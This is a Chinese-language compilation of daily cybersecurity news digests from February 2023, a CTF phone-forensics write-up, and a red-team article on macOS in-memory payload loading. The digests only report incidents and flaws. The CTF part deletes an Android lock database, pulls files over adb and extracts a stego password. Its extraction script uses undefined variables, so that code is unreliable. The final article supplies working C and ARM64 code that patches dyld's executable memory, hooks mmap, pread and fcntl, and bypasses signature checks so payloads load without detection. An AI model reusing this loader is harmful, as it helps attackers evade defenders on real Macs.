网络安全日报 2023年02月08日
1、 Anonymous 泄露了据称从ISP Convex 窃取的 128 GB 数据 https://securityaffairs.com/141888/hacktivism/anonymous-fsb-surveillance.html Anonymous 上周发布了 128 GB 的文件,据称这些文件是从俄罗斯互联网服务提供商 Convex 窃取的。庞大的数据库由 Anonymous 附属集团 Caxxii 的附属机构租用。被盗文件包含情报部门 FSB 进行的监视活动的证据。 2、Royal Ransomware增加了对加密Linux设备和ESXi的支持 https://securityaffairs.com/141876/cyber-crime/royal-ransomware-vmware-esxi.html Royal Ransomware 运营商增加对加密 Linux 设备的支持,并以 VMware ESXi 虚拟机为目标。其他勒索软件运营商已经支持 Linux 加密,包括AvosLocker、Black Basta、BlackMatter、HelloKitty、Hive、LockBit、 Luna、Nevada、RansomEXX和REvil。 3、VMware 称没有发现 ESXiArgs 勒索软件攻击中利用零日漏洞的证据 https://securityaffairs.com/141920/hacking/vmware-zero-day-esxiargs-ransomware.html VMware 表示,它没有发现任何证据表明正在进行的ESXiArgs勒索软件攻击背后的威胁参与者正在利用 VMware ESXi 服务器中的零日漏洞。 4、联合执法行动破获了犯罪集团使用的加密短信应用Exclu https://thehackernews.com/2023/02/encrypted-messaging-app-exclu-used-by.html 德国、荷兰和波兰开展的联合执法行动破解了有组织犯罪集团使用的另一个名为Exclu的加密消息应用程序。Eurojust 在一份新闻声明中表示,2 月 3 日的行动导致比利时和荷兰逮捕了 45 人,其中一些人包括该服务的用户以及管理员和所有者。 5、黑客利用向日葵漏洞部署Sliver C2框架 https://thehackernews.com/2023/02/hackers-exploit-vulnerabilities-in.html 威胁参与者正在利用 Sunlogin 软件中的已知缺陷来部署 Sliver 命令和控制 (C2) 框架,以执行后渗透活动。该调查结果来自 AhnLab 安全应急响应中心 (ASEC),该中心发现远程桌面程序 Sunlogin 中的安全漏洞被滥用以部署各种恶意载荷。 6、GuLoader 恶意软件使用恶意 NSIS 可执行文件来针对电商行业 https://thehackernews.com/2023/02/guloader-malware-using-malicious-nsis.html 网络安全公司 Trellix 上个月底透露,韩国和美国的电子商务行业遭GuLoader恶意软件攻击。值得一提的是,此次 GuLoader 勒索软件攻击目标还包括德国、沙特阿拉伯、中国台湾和日本等区域。 7、英国钢铁业供应商 Vesuvius 遭遇网络攻击事件 https://therecord.media/vesuvius-plc-cyber-incident-steel-industry-supplier/ 生产钢铁制造商使用的陶瓷的工程公司 Vesuvius Plc 上周一份报告称,它“目前正在处理一起网络攻击事件”。 8、英国皇家邮政遭到LockBit勒索软件攻击后服务中断 https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-royal-mail-cyberattack LockBit 勒索软件行动声称对英国的邮政服务 Royal Mail 进行了网络攻击,导致该公司因“严重服务中断”而停止其国际航运服务。勒索软件团伙的代表补充说,只有在支付赎金后,他们才会提供解密器,并删除从皇家邮政网络窃取的数据。目前,LockBit数据泄露网站的条目显示,英国皇家邮政的被盗数据将于国际标准时间2月9日星期四凌晨03:42在网上公布。皇家邮政于1月10日首次发现了这起攻击, 9、Fortra发布补丁修复GoAnywhere MFT漏洞 https://www.bleepingcomputer.com/news/security/actively-exploited-goanywhere-mft-zero-day-gets-emergency-patch/ Fortra发布了一个紧急补丁,以解决GoAnywhere MFT安全文件传输工具中一个被积极利用的零日漏洞。该漏洞允许攻击者在其管理控制台在线暴露的易受攻击的GoAnywhere MFT实例上远程执行代码。 10、美国高级网络外交官称社交账户遭黑客入侵 http://www.anquan419.com/knews/24/4267.html 美国高级网络外交官内特·菲克表示,他的个人推特账户遭到了黑客入侵,这名高官通过社交媒体证实了自己的账户“被黑”,但没有透露有关黑客事件的更多细节。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年02月07日
1、意大利、法国和新加坡警告针对ESXI 的勒索软件激增 https://securityaffairs.com/141889/cyber-crime/experts-warn-esxi-ransomware-attacks.html 针对ESXi的勒索软件在全球范围内针对数千台 VMware 服务器发起攻击,安全专家和国际 CERT 发出警告。 2、Baicells 无线通信基站严重漏洞可用来控制数据和语音流 https://www.securityweek.com/critical-baicells-device-vulnerability-can-expose-telecoms-networks-to-snooping/ 一名研究人员表示,影响 Baicells Technologies 无线通信基站的一个严重漏洞可被用来导致电信网络中断或完全控制数据和语音流量。Baicells Technologies 是一家总部位于美国的 4G 和 5G 网络电信设备供应商。该公司表示,超过 100,000 个基站部署在全球 64 个国家/地区。 3、OpenSSH 发布新的 Pre-Auth Double Free 漏洞补丁 https://thehackernews.com/2023/02/openssh-releases-patch-for-new-pre-auth.html OpenSSH 的维护者发布了 OpenSSH 9.2 以解决许多安全漏洞,包括 OpenSSH 服务器 (sshd) 中的内存安全漏洞。该漏洞编号为CVE-2023-25136,已被归类为 9.1 版中引入的预身份验证双重释放漏洞。 4、新的"PixPirate" Android 银行木马以巴西金融机构为目标 https://thehackernews.com/2023/02/pixpirate-new-android-banking-trojan.html 一种新的 Android 银行木马已盯上巴西金融机构,利用 PIX 支付平台进行欺诈。意大利网络安全公司 Cleafy 在 2022 年底至 2023 年初之间发现了该恶意软件,并以 PixPirate 的名义对其进行追踪。研究人员称:PixPirate 属于最新一代的 Android 银行木马,因为它可以执行ATS(自动转账系统),使攻击者能够通过多家巴西银行采用的即时支付平台 Pix 自动插入恶意汇款。 5、微软称法国《查理周刊》遭到伊朗有关组织攻击 https://securityaffairs.com/141855/apt/charlie-hebdo-data-leak-iran.html 微软的数字威胁分析中心(DTAC)将最近针对法国讽刺漫画杂志《查理周刊》的网络攻击归因于一个与伊朗有关的威胁组织,追踪其名为NEPTUNIUM(又名Emennet Pasargad,Holy Souls)。该网络攻击是对《查理周刊》发起的一场漫画比赛的报复,该比赛旨在嘲讽伊朗执政的神职人员。今年1月初,黑客声称入侵了该杂志的数据库,获得了超过20万名客户的个人信息。该组织发布了一份数据样本作为黑客入侵的证据,暴露的数据包括订阅《查理周刊》或从该杂志 6、安全分析工具Binwalk中存在严重的安全漏洞 https://portswigger.net/daily-swig/serious-security-hole-plugged-in-infosec-tool-binwalk Binwalk是Linux中流行的命令行工具,用于分析、逆向工程和提取固件镜像。安全分析工具Binwalk本身存在路径遍历漏洞,可能导致远程代码执行(RCE),对运行过时版本的用户存在安全风险。漏洞被跟踪为CVE-2022-4510,并被归类为高严重性(CVSS 7.8)。该漏洞是在2017年Professional File System(PFS)提取器插件与binwalk合并时引入的,原因是试图用os.path. 7、Twitter API将不再提供免费访问 https://www.anquanke.com/post/id/285985 Twitter宣布从2月9日开始它的API(包括 v2 和 v1.1)将不再支持免费访问,使用其API将必须付费。这事实上杀死了第三方客户端和利用免费API对Twitter推文进行研究的项目,以及各种在多平台上交叉发帖的工具。 8、前 Ubiquiti 开发人员承认试图勒索他的雇主 https://www.bleepingcomputer.com/news/security/former-ubiquiti-dev-pleads-guilty-to-trying-to-extort-his-employer/ 管理网络设备制造商云团队的前 Ubiquiti 员工 Nickolas Sharp 今天认罪,他从 Ubiquiti 的网络中窃取了文件,并试图勒索他的雇主,同时冒充匿名黑客和举报人。 9、家装巨头安徒生公司泄露客户家庭照片和地址 https://cybernews.com/security/andersen-leak-home-photos-addresses/ 建筑和家居装修巨头 Andersen Corporation 暴露了客户的私人数据,包括家庭照片和地址。 10、CISA公布网络钓鱼演练结果,每10家有8家企业有员工被网钓成功 网络钓鱼是一种社交工程的手法,普遍冒充值得信赖的同事与组织,企图引诱受害者上当,而且可利用的渠道很多,包含电子邮件、通信软件或SMS短信,以及电话。 https://www.10lun.com/article/177104.html 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
[西湖论剑2022]Misc-机你太美
解题过程: 修改文件后缀后,7z解压后,夜神模拟器导入vmdk 删除pin值 参考文章:https://www.cnblogs.com/Zev_Fung/p/14192545.html 删除/data/system/locksettings.db即可 rm /data/system/locksettings.db 重启进入,发现安装有QQ和Skred 打开Skred发现聊天记录 发现聊天记录传输了⽂件,根据skred的存储文件的位置,可以直接定位 /data/data/mobi.skred.app/files/conversations 使⽤adb pull来提取⽂件 adb pull /data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0/50.zip D:\桌面\CTF\西湖论剑2023\jntm-update\dasctf 其他文件类似操作提取即可 解压压缩包发现存在解压密码,可能存在两张图片里,图片可能采取了隐写之类的隐藏信息的方式 使用stegslove打开45.png,在Alpha plane处发现信息,写脚本提取其二进制信息 from PIL import Image img = Image.open("45.png") for i in range(img.width):    for j in range(img.height):        pixl = img.getpixel((m,n))        if(pixl[3] == 255):            print(1,end='')        else:            print(0,end='') print("_______________") #0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001 进行编码转换一下 e01544a9333ef62a3aa27357eb52ea8a 得到解压密码,解压50.zip,获得一个flag文件,记事本打开为一串乱码,猜测可能是啥加密,信息应该在75.jpg上面 根据赛方放出的hint3:在线exif 试着查看一下75.jpg的exif信息,这里我使用的是https://exif.tuchong.com/ EXIF信息摘要 模式 曝光模式:Aperture-priority AE, 测光模式:Multi-segment, 曝光补偿:0 曝光 光圈:4.0, 快门:1/250秒, ISO200 焦距 50.0 mm (35 mm equivalent: 80.9 mm), 视角:25.1 deg 色彩 白平衡:Auto, 色彩空间:sRGB File FileType JPEG FileTypeExtension jpg MIMEType image/jpeg ExifByteOrder Little-endian (Intel, II) ImageWidth 3888 ImageHeight 2592 EncodingProcess Baseline DCT, Huffman coding BitsPerSample 8 ColorComponents 3 YCbCrSubSampling YCbCr4:2:2 (2 1) IFD0 方向 Horizontal (normal) X分辨率 72 Y分辨率 72 分辨率单位 inches YCbCr定位 Co-sited ExifIFD 曝光时间 1/250 光圈值 4.0 曝光程序 Aperture-priority AE ISO 200 Exif版本 0221 ComponentsConfiguration Y, Cb, Cr, - 快门速度值 1/250 光圈值 4.0 曝光补偿 0 测光模式 Multi-segment 闪光灯 Off, Did not fire 焦距 50.0 mm 用户注释 XOR DASCTF2022 SubSecTime 39 SubSecTime原始 39 SubSecTime数码化 39 Flashpix版本 0100 色彩空间 sRGB Exif图像宽度 3888 Exif图像高度 2592 焦平面X轴分辨率 4438.356164 焦平面Y轴分辨率 4445.969125 焦平面分辨率单位 inches CustomRendered Normal 曝光模式 Auto 白平衡 Auto 场景Capture类型 Standard InteropIFD Interop索引 R98 - DCF basic file (sRGB) Interop版本 0100 IFD1 压缩 JPEG (old-style) X分辨率 72 Y分辨率 72 分辨率单位 inches 缩略图偏移 8412 缩略图长度 19629 ThumbnailImage (Binary data 19629 bytes, use -b option to extract) Composite 光圈 4.0 图像尺寸 3888x2592 Megapixels 10.1 35mm等效因子 1.6 快门速度 1/250 (最小)模糊圈 0.019 mm 视角 25.1 deg 35mm等效焦距 50.0 mm (35 mm equivalent: 80.9 mm) 超焦距 33.67 m 亮度值 11.0 可以看到用户注释为XOR DASCTF2022 对flag文件进行XOR 获得flag:DASCTF{fe089fecf73daa9dcba9bc385df54605}
网络安全日报 2023年02月06日
1、Fortra 的 GoAnywhere MFT零日漏洞被利用 https://securityaffairs.com/141826/hacking/goanywhere-mft-zero-day.html 专家警告说,威胁行为者正在积极利用 Fortra 的 GoAnywhere MFT 托管文件传输应用程序中的零日漏洞。 2、CERT-FR 警告针对 VMware ESXi 服务器的新一波勒索软件攻击 https://securityaffairs.com/141804/cyber-crime/vmware-esxi-ransomware.html 法国 CERT 警告称,新一波勒索软件攻击正以 VMware ESXi 服务器为目标,以传播勒索软件。法国计算机紧急响应小组 (CERT-FR) 警告称,威胁行为者正以 VMware ESXi 服务器为目标部署勒索软件。 3、Atlassian 修复了 Jira Software 中的严重身份验证漏洞 https://securityaffairs.com/141766/security/atlassian-critical-vulnerability-jira-software.html Atlassian 修复了 Jira Service Management Server 和 Data Center 中的一个严重缺陷,该缺陷可能允许攻击者冒充其他用户并获得对 Jira Service Management 实例的访问权限。 4、VMware Workstation 修复了一个高危权限提升漏洞 https://www.securityweek.com/high-severity-privilege-escalation-vulnerability-patched-in-vmware-workstation/ VMware 已通知用户有关 Workstation 漏洞的补丁的可用性,该漏洞可能被恶意黑客利用以提升权限。该缺陷被追踪为 CVE-2023-20854 并被评为“高严重性”,VMware 将其描述为影响 Windows 17.x 版本的任意文件删除漏洞。 在受害者机器上拥有本地用户权限的恶意行为者可能会利用此漏洞从安装了 Workstation 的机器的文件系统中删除任意文 5、多个电车充电系统中发现的漏洞可被利用来远程关闭充电站 https://thehackernews.com/2023/02/is-your-ev-charging-station-safe-new.html SaiFlow的研究人员发现许多电动汽车(EV)充电管理系统都受到漏洞的影响,这些漏洞可能允许黑客造成破坏、窃取能源或获取驾驶员信息。该安全漏洞与充电系统管理服务(CSMS)和电动汽车充电点(CP)之间的通信有关,特别是使用了开放式充电端口协议(OCPP)。这些缺陷已被证实会影响多个供应商提供的CSMS。根据SaiFlow的说法,攻击者可以利用这些漏洞发起分布式拒绝服务(DDoS)攻击,破坏电动汽车供电设备(EVSE)网络。此外,如果攻击者可 6、ION Group公司遭到勒索软件攻击影响金融交易 https://therecord.media/global-markets-impacted-by-ransomware-attack-on-financial-software-company/ 总部位于都柏林的软件公司ION Group遭遇勒索软件攻击,影响了国际市场上的金融衍生品交易。ION Group将自己描述为“使金融机构、中央银行和企业能够将他们最关键的业务流程数字化和自动化”。2月1日,该软件公司在其网站上发布的弹出式通知警告称,1月31日发生的“网络安全事件”影响了其清算衍生品部门。据报道,此次勒索软件攻击是由俄罗斯的LockBit团伙造成的。据期货行业协会(FIA)称,此 7、思科发布补丁修复了部分工业设备中存在的漏洞 https://www.helpnetsecurity.com/2023/02/01/cve-2023-20076/ 思科发布了针对其部分工业路由器、网关和企业无线接入点中存在的一个高危漏洞(CVE-2023-20076)的补丁,该漏洞可能允许攻击者插入恶意代码,而这些恶意代码不能通过简单地重新启动设备或更新其固件来删除。CVE-2023-20076由研究人员在Cisco ISR 4431路由器中发现,更具体地说,是在Cisco IOx应用程序托管环境中发现的,该环境允许管理员直接在思科设备上部署应用程序容器或虚拟机。 8、威胁行为者使用ClickFunnels服务绕过安全检测 https://www.infosecurity-magazine.com/news/threat-actors-clickfunnels-bypass Avanan的安全研究人员发现威胁参与者使用合法的ClickFunnels服务绕过安全服务,并将用户重定向到恶意链接。ClickFunnels是一项在线服务,帮助创业者和小企业创造商机、建立营销引擎以及发展业务。研究人员表示威胁行为者一直在利用ClickFunnels的能力创建带有恶意链接的页面,并最终进行凭据收集攻击。黑客利用了安全服务无法完全禁止流行网站,然后绕过这些网站进入收件箱并欺骗用户。 9、TruthFinder和Instant Checkmate证实数据泄露影响2000W用户 https://www.bleepingcomputer.com/news/security/truthfinder-instant-checkmate-confirm-data-breach-affecting-20m-customers/ 1月21日,黑客论坛的一名成员泄露了2022万名截至2019年4月16日使用TruthFinder和Instant Checkmate服务的用户数据,被泄露的客户信息包括电子邮件地址、密码哈希、姓氏和电话号码。黑客论坛的所有者表示,这些数据是从一名论坛成员发现的一个暴露的数据库备份中窃取的。2月3日,TruthFinder和Instant Checkm 10、小米汽车“设计文件”泄密,供应商被罚100万元! https://www.anquanke.com/post/id/285967 2月2日,小米汽车针对此前的“设计文件泄露”事件做出最终的处理结果:将依照《保密协议》处以100万元的经济赔偿,责成其对下游供应商加强信息安全管理,并对泄密人进行处理。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年02月03日
1、F5 BIG-IP 中的高危漏洞可导致代码执行和 DoS https://securityaffairs.com/141728/security/f5-big-ip-bug.html 专家警告影响 F5 BIG-IP 的高危漏洞可能导致任意代码执行或 DoS 条件。F5 BIG-IP 中的一个高严重性漏洞,跟踪为CVE-2023-22374,可被利用导致 DoS 条件并可能导致任意代码执行。 2、超过 3 万台联网的 QNAP NAS 受 CVE-2022-27596 漏洞影响 https://securityaffairs.com/141705/hacking/qnap-nas-vulnerable-cve-2022-27596.html Censys 发现 30,000 台联网的 QNAP 设备可能受到最近披露的关键代码注入漏洞的影响。1 月 30 日,QNAP发布了QTS 和 QuTS 固件更新,以解决影响 QNAP NAS 设备的严重漏洞,该漏洞被追踪为 CVE-2022-27596(CVSS v3 分数:9.8)。 3、英国汽车零售商 Arnold Clark 遭到勒索软件攻击 https://www.securityweek.com/uk-car-retailer-arnold-clark-hit-by-ransomware/ 英国汽车零售商 Arnold Clark 通知客户,他们的个人信息可能因网络攻击而被盗。Play 勒索软件组织声称已经获得了数 GB 的敏感信息。 Arnold Clark 在英格兰和苏格兰拥有 200 多家经销店,销售超过 25 家制造商的车辆。 4、HeadCrab 僵尸网络感染1,200 个 Redis 服务器进行恶意挖矿 https://www.securityweek.com/headcrab-botnet-ensnares-1200-redis-servers-for-cryptomining/ Aqua Nautilus的研究人员发现了一种新的严重威胁,该威胁自2021年9月初以来一直渗透并驻留在全球服务器上。这种被称为HeadCrab的高级威胁利用了一种先进的定制恶意软件,该恶意软件无法被防病毒解决方案检测到,从而危及大量Redis服务器。HeadCrab僵尸网络已经控制了至少1200台服务器。根据研究人员的蜜罐显示,攻击的主要影响是用于加密货币挖掘的资源劫持。从内存中提取的矿工配置文件显示,矿池主要 5、朝鲜黑客在"No Pineapple"活动中利用未打补丁的 Zimbra 设备 https://thehackernews.com/2023/02/north-korean-hackers-exploit-unpatched.html Lazarus Group 相关的新情报收集活动利用未打补丁的 Zimbra 设备中的已知安全漏洞来破坏受害系统。用于初始访问的安全漏洞是CVE-2022-27925 和 CVE-2022-37042,这两个漏洞都可能被滥用以在底层服务器上获得远程代码执行。通过安装 Web shell 和利用 Zimbra 服务器中的本地权限升级漏洞(即Pwnkit又名 CVE-2021-4034)成功执行了此步骤,从而使威胁参与者能够获取敏感邮箱数据。 6、攻击者在网络犯罪论坛出售1800多种Android网络钓鱼表单 https://www.bleepingcomputer.com/news/security/over-1-800-android-phishing-forms-for-sale-on-cybercrime-market/ 威胁情报公司Cyble的研究人员发现,名为InTheBox的威胁行为者正在俄罗斯网络犯罪论坛上宣传1894个网络注入(网络钓鱼窗口的覆盖层)的清单,用于从银行、加密货币交易所和电子商务应用程序窃取凭证和敏感数据。这些覆盖层与各种Android银行恶意软件兼容,并模仿了在几乎所有大洲的几十个国家使用的主要组织运行的应用程序。Cyble确认InTheBox的网络注入最近的活动 7、Econolite EOS交通控制器软件漏洞允许远程黑客攻击 https://www.securityweek.com/unpatched-econolite-traffic-controller-vulnerabilities-allow-remote-hacking/ 网络攻击研究员Rustam Amin告知CISA,在Econolite EOS中发现了严重和高度严重的漏洞,Econolite EOS是为Econolite Cobalt和其他高级交通控制器(ATC)开发的交通控制器软件。其中一个被评为“严重级别”并被追踪为CVE-2023-0452,CISA将其描述为与使用弱算法散列特权用户凭证有关的问题。第二个漏洞跟踪为CVE-2023-0452 8、欧盟施压马斯克:Twitter必须符合《数字服务法案(DSA)》新规要求 https://www.reuters.com/technology/eu-industry-chief-breton-hold-video-call-with-twitters-musk-eu-official-2023-01-31/ 据路透社报道,欧盟行业负责人 Thierry Breton 告诉 Twitter CEO埃隆・马斯克(Elon Musk),未来几个月对 Twitter 履行全面遵守欧盟在线内容规则的承诺至关重要。这些要求是在去年 11 月生效的欧盟《数字服务法案(DSA)》中规定的。 9、黑客组织Killnet对美国医疗机构网站发起DDoS攻击 https://www.anquanke.com/post/id/285888 日前,黑客组织Killnet对美国医疗机构和医院发起了一系列DDoS攻击。该组织在其Telegram频道上宣布了攻击,呼吁对美国政府医疗保健系统采取行动。 10、恶意NPM、PyPI包窃取用户信息 https://www.securityweek.com/malicious-npm-pypi-packages-stealing-user-information/ Check Point 和 Phylum 警告最近发现的 NPM 和 PyPI 包旨在窃取用户信息和下载额外的有效载荷。利用开源代码在应用程序开发中的广泛使用,恶意行为者越来越多地依赖软件供应链攻击来向开发人员和用户感染恶意软件。根据一份 2022 年 10 月的 Sonatype报告,2022 年观察到的软件供应链攻击数量比上一年增加了 633%。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
IOS逆向--恢复Dyld的内存加载方式
之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。 @roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。 作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。 因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。 NS Link Module有何与众不同 由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。 该函数的签名为: NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... } 该函数的第一个参数是ofi,它是用NS Create Object File Image From Memory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。 通过查看代码发现,最新版本的NS Link Module,会将osi所指向的内存写入磁盘。 if ( ofi->memSource != nullptr ) { ... char        tempFileName[PATH_MAX]; const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR"); if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) { strlcpy(tempFileName, tmpDir, PATH_MAX); if ( tmpDir[strlen(tmpDir) - 1] != '/' ) strlcat(tempFileName, "/", PATH_MAX); } else strlcpy(tempFileName, "/tmp/", PATH_MAX); strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX); int fd = this->libSystemHelpers->mkstemp(tempFileName); if ( fd != -1 ) { ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0); } ... } 通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。 ... ofi->handle = dlopen_from(ofi->path, openMode, callerAddress); ... 因此,从本质上讲,这也就使得NS Link Module成为了dlopen的一个封装器。 那我们能否恢复dyld之前的内存加载特性呢? 我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢? 使用dyld进行hook 为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。 我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。 知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。 ldr x8, _value br x8 _value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location 在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。 void *getDyldBase(void) {    struct task_dyld_info dyld_info;    mach_vm_address_t image_infos;    struct dyld_all_image_infos *infos;        mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;    kern_return_t ret;        ret = task_info(mach_task_self_,                    TASK_DYLD_INFO,                   (task_info_t)&dyld_info,                    &count);        if (ret != KERN_SUCCESS) {        return NULL;   }        image_infos = dyld_info.all_image_info_addr;        infos = (struct dyld_all_image_infos *)image_infos;    return infos->dyldImageLoadAddress; } 只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。 bool searchAndPatch(char *base, char *signature, int length, void *target) {        char *patchAddr = NULL;    kern_return_t kret;        for(int i=0; i < 0x100000; i++) {        if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) {            patchAddr = base + i;            break;       }   }   ... 当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。 kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY); if (kret != KERN_SUCCESS) {    return FALSE; } 注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。 设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。 // Copy our path memcpy(patchAddr, patch, sizeof(patch)); // Set the br address for our hook call *(void **)((char*)patchAddr + 16) = target; // Return exec permission kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC); if (kret != KERN_SUCCESS) { return FALSE; } 现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。 由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。 那么,既然如此,我们该如何处理我们的hook程序呢? API模拟调用 有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。 如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。 首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。 如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。 #define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-" const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) {    char *alloc;    char filePath[PATH_MAX];    int newFlags;        memset(filePath, 0, sizeof(filePath));        // Check if the file is our "in-memory" file    if (fcntl(fd, F_GETPATH, filePath) != -1) {        if (strstr(filePath, FILENAME_SEARCH) > 0) {                        newFlags = MAP_PRIVATE | MAP_ANONYMOUS;            if (addr != 0) {                newFlags |= MAP_FIXED;           }                        alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);            memcpy(alloc, memoryLoadedFile+offset, len);            vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);            return alloc;       }   }        // If for another file, we pass through    return mmap(addr, len, prot, flags, fd, offset); } 接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。 ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { memcpy(buf, memoryLoadedFile+offset 最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。 由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。 int hookedFcntl(int fildes, int cmd, void* param) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fildes, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { if (cmd == F_ADDFILESIGS_RETURN) { fsignatures 有了以上这些,然后我们可以把这一切组合起来。 int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) {    @autoreleasepool {        char *dyldBase;        int fd;        int size;        void (*function)(void);        NSObjectFileImage fileImage;                // Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/        size = readFile("/tmp/loadme", &memoryLoadedFile);        dyldBase = getDyldBase();        searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);        searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);        searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);                // Set up blank content, same size as our Mach-O        char *fakeImage = (char *)malloc(size);        memset(fakeImage, 0x41, size);                // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image        fileImage = (NSObjectFileImage)malloc(1024);        *(void **)(((char*)fileImage+0x8)) = fakeImage;        *(void **)(((char*)fileImage+0x10)) = size;                void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);        void *symbol = NSLookupSymbolInModule(module, "runme");        function = NSAddressOfSymbol(symbol);        function();   } } 当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。 但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。 其他 所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。 事实证明,这个想法是正确的。比如: void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW); function = dlsym(a, "runme"); function(); 